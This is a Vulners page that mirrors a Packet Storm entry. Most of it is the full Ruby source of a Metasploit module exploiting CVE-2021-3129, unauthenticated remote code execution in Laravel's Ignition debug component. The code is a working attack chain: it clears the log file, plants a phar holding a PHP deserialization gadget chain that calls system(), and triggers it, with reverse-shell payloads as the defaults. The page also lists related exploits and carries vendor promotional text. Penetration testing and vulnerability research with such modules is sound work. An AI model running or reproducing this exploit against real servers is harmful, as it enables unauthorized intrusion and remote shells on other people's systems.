Lucene search
K

Ignition Remote Code Execution

🗓️ 16 Feb 2022 00:00:00Reported by Heyder Andrade, ambionics, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 742 Views

Unauthenticated remote code execution in Ignition before 2.5.2 allows attackers to execute arbitrary code due to insecure file operations. Exploitable on Laravel before 8.4.2 debug mode

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2021-3129
25 Jan 202108:42
githubexploit
GithubExploit
Exploit for CVE-2021-3129
11 Oct 202208:53
githubexploit
GithubExploit
Exploit for CVE-2021-3129
30 Sep 202217:54
githubexploit
GithubExploit
Exploit for CVE-2021-3129
19 May 202421:25
githubexploit
GithubExploit
Exploit for CVE-2021-3129
29 Sep 202405:09
githubexploit
GithubExploit
Exploit for CVE-2021-3129
27 Jan 202110:16
githubexploit
GithubExploit
Exploit for CVE-2021-3129
1 Oct 202109:09
githubexploit
GithubExploit
Exploit for CVE-2021-3129
27 Jul 202312:14
githubexploit
GithubExploit
Exploit for CVE-2021-3129
16 Apr 202217:22
githubexploit
GithubExploit
Exploit for CVE-2021-3129
22 Oct 202314:25
githubexploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Unauthenticated remote code execution in Ignition',  
'Description' => %q{  
Ignition before 2.5.2, as used in Laravel and other products,  
allows unauthenticated remote attackers to execute arbitrary code  
because of insecure usage of file_get_contents() and file_put_contents().  
This is exploitable on sites using debug mode with Laravel before 8.4.2.  
},  
'Author' => [  
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging  
'ambionics' # discovered  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2021-3129'],  
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']  
],  
'DisclosureDate' => '2021-01-13',  
'Platform' => %w[unix linux macos win],  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }  
}  
],  
[  
'Windows (In-Memory)',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :win_memory,  
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }  
}  
]  
],  
'Privileged' => false,  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),  
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])  
])  
end  
  
def check  
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'PUT'  
}, 1)  
# Check whether it is using facade/ignition  
# If is using it should respond method not allowed  
# checking if debug mode is enable  
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)  
vprint_status 'Debug mode is enabled.'  
# check version  
versions = JSON.parse(  
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')  
)  
version = Rex::Version.new(versions['framework_version'])  
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"  
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)  
# but it is way more intrusive than just checking the version moreover we would need to call  
# the find_log_file method before, meaning four requests more.  
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
@logfile = datastore['LOGFILE'] || find_log_file  
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile  
  
clear_log  
put_payload  
convert_to_phar  
run_phar  
  
handler  
  
clear_log  
end  
  
def find_log_file  
vprint_status 'Trying to detect log file'  
res = post Rex::Text.rand_text_alpha_upper(12)  
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})  
logpath = Regexp.last_match(1).gsub(/\\/, '')  
vprint_status "Found directory candidate #{logpath}"  
logfile = "#{logpath}/storage/logs/laravel.log"  
vprint_status "Checking if #{logfile} exists"  
res = post logfile  
if res.code == 200  
vprint_status "Found log file #{logfile}"  
return logfile  
end  
vprint_error "Log file does not exist #{logfile}"  
return  
end  
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'  
return  
end  
  
def clear_log  
res = post "php://filter/read=consumed/resource=#{@logfile}"  
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)  
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200  
end  
  
def put_payload  
post format_payload  
post Rex::Text.rand_text_alpha_upper(2)  
end  
  
def convert_to_phar  
filters = %w[  
convert.quoted-printable-decode  
convert.iconv.utf-16le.utf-8  
convert.base64-decode  
].join('|')  
  
post "php://filter/write=#{filters}/resource=#{@logfile}"  
end  
  
def run_phar  
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"  
# resp.body.match(%r{^(.*)\n<!doctype html>})  
# $1 ? print_good($1) : nil  
end  
  
def body_template(data)  
{  
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',  
parameters: {  
viewFile: data,  
variableName: Rex::Text.rand_text_alpha_lower(4..12)  
}  
}.to_json  
end  
  
def post(data)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s),  
'method' => 'POST',  
'data' => body_template(data),  
'ctype' => 'application/json',  
'headers' => {  
'Accept' => '*/*',  
'Accept-Encoding' => 'gzip, deflate'  
}  
})  
end  
  
def generate_phar(pop)  
file = Rex::Text.rand_text_alpha_lower(8)  
stub = "<?php __HALT_COMPILER(); ?>\r\n"  
file_contents = Rex::Text.rand_text_alpha_lower(20)  
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff  
manifest_len = 40 + pop.length + file.length  
phar = stub  
phar << [manifest_len].pack('V') # length of manifest in bytes  
phar << [0x1].pack('V') # number of files in the phar  
phar << [0x11].pack('v') # api version of the phar manifest  
phar << [0x10000].pack('V') # global phar bitmapped flags  
phar << [0x0].pack('V') # length of phar alias  
phar << [pop.length].pack('V') # length of phar metadata  
phar << pop # pop chain  
phar << [file.length].pack('V') # length of filename in the archive  
phar << file # filename  
phar << [file_contents.length].pack('V') # length of the uncompressed file contents  
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.  
phar << [file_contents.length].pack('V') # length of the compressed file contents  
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents  
phar << [0x1b6].pack('V') # bit-mapped file-specific flags  
phar << [0x0].pack('V') # serialized File Meta-data length  
phar << file_contents # serialized File Meta-data  
phar << [Rex::Text.sha1(phar)].pack('H*') # signature  
phar << [0x2].pack('V') # signiture type  
phar << 'GBMB' # signature presence  
  
return phar  
end  
  
def format_payload  
# rubocop:disable Style/StringLiterals  
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""  
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"  
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""  
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""  
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"  
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"  
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"  
# rubocop:enable Style/StringLiterals  
phar = generate_phar(serialize)  
  
b64_gadget = Base64.strict_encode64(phar).gsub('=', '')  
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join  
  
return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation